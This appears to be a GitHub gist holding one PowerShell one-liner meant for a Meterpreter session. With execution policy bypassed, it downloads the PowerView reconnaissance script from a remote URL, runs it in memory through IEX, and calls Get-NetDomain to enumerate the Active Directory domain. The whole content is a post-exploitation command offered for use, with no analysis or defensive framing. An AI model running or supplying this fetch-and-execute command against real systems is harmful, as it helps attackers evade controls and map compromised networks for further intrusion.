PowerShell exec with Import Module to run in Meterpreter shell (remote file via IEX)
powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1'); Get-NetDomain" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment